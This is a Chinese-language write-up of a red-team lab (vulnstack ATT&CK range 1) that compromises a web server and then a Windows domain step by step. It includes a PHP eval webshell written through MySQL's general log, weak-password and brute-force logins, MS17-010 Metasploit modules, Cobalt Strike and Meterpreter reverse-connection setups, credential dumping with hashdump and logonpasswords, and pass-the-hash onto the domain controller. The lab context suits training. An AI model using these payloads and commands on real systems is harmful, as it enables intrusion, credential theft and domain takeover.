ATT&CK红队评估实战靶场(1)思路
靶场链接
http://vulnstack.qiyuanxuetang.net/vuln/detail/2/
一、环境说明
1.1 拓扑结构
1.2 靶机环境
靶机环境:
Win7:
外网IP:172.16.27.163
内网IP:192.168.52.143
PassWD:hongrisec@2020
Win2003:
IP:192.168.52.141
PassWD:hongrisec@2020
Win2008:
IP:192.168.52.138
PassWD:hongrisec@2021
攻击机:
Macos:172.16.27.1
KaliLinux:172.16.27.138
1.3 环境启动
启动Win7下的 PHPStudy
开启Web服务
PHPStudy
安装路径:C:\phpStudy
二、信息收集
2.1 探测存活主机IP
利用 Nmap
扫描172.16.27.1/24
这个段存活的IP主机
nmap -sP 172.16.27.1/24
发现存活主机:172.16.27.163
2.2 端口扫描
已知 172.16.27.163
这个IP为我们的目标 IP,接下来我们进行端口扫描看一下这个 IP 上开了哪些服务
nmap -sC -sV -Pn -p 1-65535 172.16.27.163
-sC:等价于 --script=default,使用默认类别的脚本进行扫描。
-sV:指定让Nmap进行版本侦测
-Pn:将所有指定的主机视作开启的,跳过主机发现的过程
-p:指定端口
2.3 目录扫描
通过扫描 IP 端口发现 80
端口为 Open
状态,打开发现为默认页面 Hello Word
使用 dirsearch
进行目录扫描
三、漏洞利用
3.1 Phpmyadmin后台Getshell
在目录扫描阶段发现根目录有 Phpmyadmin
目录,打开尝试弱口令登陆 root/root
,可以成功登陆后台
尝试利用全局日志来 getshel
修改 general log
为 ON 状态
修改 general log file
地址为网站根目录 C:\phpStudy\PHPTutorial\WWW\shell.php
写入一句话到 shell.php 文件
执行 Sql 语句 SELECT '<?php eval($_POST["cmd"]);?>'
使用蚁剑进行连接 Webshell
3.2 yxcms后台拿shell
通过目录扫描发现网站根目录还有一个 yxcms
目录,打开发现网站使用的是 yxcms 模板
百度搜索此模板,发现后台地址为 index.php?r=admin/index/login
经过尝试弱口令发现验证码可以重复利用,那我们使用burp
来爆破一下后台密码
爆破成功,密码为 123456
,尝试登陆后台
在前台模板处添加模板写入webshell
默认地址为 http://172.16.27.163/yxcms/protected/apps/default/view/default/shellx.php
3.3 ms17-010
在前面进行端口扫描的时候我们发现这此 IP 开放了 135、455高危端口,扫描一下看是否存在 MS17-010 漏洞
使用 MSF 来进行利用
use exploit/windows/smb/ms17_010_eternalblue
set rhosts 172.16.27.163
成功利用
四、内网渗透
4.1 Cobalt Strike上线
启动服务端 sudo ./teamserver 172.16.27.138 password
本地启动客户端进行连接
生成木马文件
并上传到网站根目录
等待 CS 上线
4.2 内网信息收集
查看网关:shell ipconfig/all
发现内网IP地址:
外网IP:172.16.27.163
内网IP:192.168.52.143
查看当前计算机名,全名,用户名,系统版本,工作站域,登陆域 shell net config Workstation
查看局域网内所有计算机 shell net view
可以看到除了Web这台主机外还有两台主机,主机名分别为:OWA、ROOT-TVI862UBEH
查看系统信息:shell systeminfo
可以进一步确定当前域是 god.org
并且域服务器的计算机名是 OWA
4.3 主机密码收集
获取hash:hashdump
获取明文密码:logonpasswords
4.5 Ladon扫描内网存活PC
使用 CS 插件 Ladon 进行内网主机探测扫描 Ladon 192.168.52.1/24 OnlinePC
内网中还存活着两台主机分别是
域控:192.168.52.138 OWA
域成员:192.168.52.141 ROOT-TVI862UBEH
4.4 提权
将当前用户的权限提升至 system 权限
等待提权成功上线 CS
五、横向移动
5.1 Cobalt Strike联动 MSF
新建一个 CS 监听器
然后运行 MSF
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
设置参数
在 CS 上右键目标选择增加会话
选择刚新增的监听器
静等 MSF 上线
5.2 内网主机端口扫描
获取安装软件信息:run post/winmdows/gather/enum_applications
发现当前主机(Win7)安装了Nmap
直接利用这台主机上的工具来进行内网主机的端口扫描
shell nmap -Pn -sT -p 1-1000 192.168.52.141
-Pn:将所有指定的主机视作开启的,跳过主机发现的过程
-sT:TCP扫描
-p:指定端口
192.168.52.141 主机端口
192.168.52.138 主机端口
5.3 内网主机漏洞探测
使用 nmap 进行主机漏洞扫描,查看是否存在一些常见的漏洞
shell nmap --script=vuln 192.168.52.141
192.168.52.141 漏洞探测情况:
存在ms08-067、ms17-010
漏洞
shell nmap --script=vuln 192.168.52.138
192.168.52.138 漏洞探测情况:
存在 ms17-010
5.4 漏洞利用
查看当前网段 run get_local_subnets
添加路由 run autoroute -s 192.168.52.0/24
设置代理 use auxiliary/server/socks_proxy
5.4.1 ms17-010漏洞利用
使用 MSF 模块
exploit/windows/smb/ms17_010_psexec
set payload windows/meterpreter/bind_tcp
设置参数 set rhosts 192.168.52.141
利用成功
域控那台主机可能因为防火墙限制无法正常利用 ms17-010 漏洞
5.5 PTH获取域控权限
Pass-The-Hash 内网渗透中是一种很经典的攻击方式,原理就是攻击者可以直接通过LM Hash和NTLM Hash访问远程主机或服务,而不用提供明文密码。
Pass The Hash原理:
- 在Windows系统中,通常会使用NTLM身份认证
- NTLM认证不使用明文口令,而是使用口令加密后的hash值,hash值由系统API生成(例如LsaLogonUser)
- hash分为LM hash和NT hash,如果密码长度大于15,那么无法生成LM hash。从Windows Vista和Windows Server 2008开始,微软默认禁用LM hash
- 如果攻击者获得了hash,就能够在身份验证的时候模拟该用户(即跳过调用API生成hash的过程)
新建一个监听器
点击探测到的域控主机执行Jump > psexec
选择刚刚新建的监听器
点击开始之后等会就可以收到域控主机的 shell
成功拿下域控服务器
获取一下域控服务器明文密码 logonpasswords
Ps:Win2003那台机器也可以使用这个方法来获取 Shell
最后截图